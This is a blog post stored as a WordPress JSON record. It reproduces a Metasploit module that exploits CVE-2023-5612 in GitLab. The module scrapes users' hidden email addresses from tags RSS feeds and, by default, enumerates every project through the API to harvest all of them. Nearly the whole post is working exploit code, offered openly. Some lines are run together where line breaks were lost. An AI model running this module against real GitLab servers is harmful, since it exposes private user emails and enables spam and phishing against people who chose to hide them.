{"id":59296,"date":"2024-08-31T23:40:36","date_gmt":"2024-08-31T20:40:36","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180704\/gitlab_tags_rss_feed_email_disclosure.rb.txt"},"modified":"2024-08-31T23:40:36","modified_gmt":"2024-08-31T20:40:36","slug":"gitlab-tags-rss-feed-email-disclosure","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/gitlab-tags-rss-feed-email-disclosure\/","title":{"rendered":"GitLab Tags RSS Feed Email Disclosure"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;GitLab Tags RSS feed email disclosure&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>An issue has been discovered in GitLab affecting all versions<br \/>before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1.<br \/>It is possible to read the user email address via tags feed<br \/>although the visibility in the user profile has been disabled.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;n00bhaxor&#8217;, # msf module<br \/>&#8216;erruquill&#8217; # HackerOne Bug Bounty, analysis<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/about.gitlab.com\/releases\/2024\/01\/25\/critical-security-release-gitlab-16-8-1-released\/&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/hackerone.com\/reports\/2208790&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2023-5612&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-01-25&#8217;,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [],<br \/>&#8216;SideEffects&#8217; =&gt; []}<br \/>)<br \/>)<br \/>register_options(<br \/>[<br \/>Opt::RPORT(80),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The URI of the GitLab Application&#8217;, &#8216;\/&#8217;]),<br \/>OptString.new(&#8216;TARGETPROJECT&#8217;, [ false, &#8216;Workspace and project to target&#8217;, nil])<br \/>])<br \/>end<\/p>\n<p>def get_contents(tags)<br \/>vprint_status(&#8216;Check RSS tags feed for: &#8216; + tags)<\/p>\n<p># Tag needs to be lower case, so&#8230;<br \/>tags.sub!(%r{^\/}, &#8221;) if tags.start_with?(&#8216;\/&#8217;)<br \/>tags = &#8220;#{tags.split(&#8216;\/&#8217;)[0]}\/#{tags.split(&#8216;\/&#8217;)[1].downcase}&#8221;<\/p>\n<p>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, tags, &#8216;-&#8216;, &#8216;tags&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;vars_get&#8217; =&gt; { &#8216;format&#8217; =&gt; &#8216;atom&#8217; }<br \/>)<\/p>\n<p>fail_with(Failure::Unreachable, &#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<\/p>\n<p>if res.code == 200<br \/>xml_res = res.get_xml_document<\/p>\n<p># If we receive a 301 it&#8217;s probably an issue with workspace case-insensitivty<br \/>elsif res.code == 301 &amp;&amp; res[&#8216;location&#8217;]new_uri = URI.parse(res[&#8216;location&#8217;]).path<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(new_uri.to_s),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;, &#8216;vars_get&#8217; =&gt; { &#8216;format&#8217; =&gt; &#8216;atom&#8217; }<br \/>)<br \/>xml_res = res.get_xml_document<\/p>\n<p># Error out with an unreachable or any other error code<br \/>else<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{peer} &#8211; Project does not exist or is not public (response code: #{res.code})&#8221;)<br \/>end<\/p>\n<p># Check to see if there are any tags with authors<br \/>author_element = &#8216;author&#8217;<br \/>not_found = xml_res.xpath(&#8220;\/\/xmlns:#{author_element}&#8221;).empty?<br \/>if not_found<br \/>vprint_bad(&#8216;No tags or authors found&#8217;)<br \/>return<br \/>end<\/p>\n<p># Initialze an empty set so we can dedupe authors based on email address<br \/># This only dedupes within a project, not the entirety of Gitlab,<br \/># so forks of projects may show duplicate email addresses.<br \/>unique_emails = Set.new<\/p>\n<p>xml_res.xpath(&#8216;\/\/xmlns:author&#8217;).each do |authors|<br \/>email = authors.at_xpath(&#8216;xmlns:email&#8217;).text<br \/>next if unique_emails.include?(email)<\/p>\n<p>name = authors.at_xpath(&#8216;xmlns:name&#8217;).text<br \/>print_good(&#8220;name: #{name}&#8221;)<br \/>print_good(&#8220;e-mail: #{email}&#8221;)<br \/>unique_emails &lt;&lt; email<br \/>end<br \/>end<\/p>\n<p>def run<br \/>unless datastore[&#8216;TARGETPROJECT&#8217;].blank?<br \/>get_contents(datastore[&#8216;TARGETPROJECT&#8217;].to_s)<br \/>return<br \/>end<\/p>\n<p>print_good(&#8216;Scraping ALL projects&#8230;&#8217;)<br \/>request = {<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;\/api\/v4\/projects&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;, &#8216;vars_get&#8217; =&gt; {<br \/>&#8216;output_mode&#8217; =&gt; &#8216;json&#8217;<br \/>}<br \/>}<\/p>\n<p>res = send_request_cgi(request)<\/p>\n<p>fail_with(Failure::Unreachable, &#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{peer} &#8211; Project list API endpoint unavailable (response code: #{res.code})&#8221;) unless res.code == 200<\/p>\n<p>res.get_json_document.each do |entry|<br \/>tags = entry[&#8216;path_with_namespace&#8217;]get_contents(tags)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClient def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;GitLab Tags RSS feed email disclosure&#8217;,&#8216;Description&#8217; =&gt; %q{An issue has been discovered in GitLab affecting all versionsbefore 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1.It is possible to read the user email address via &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59296","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59296","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59296"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59296\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59296"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59296"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59296"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}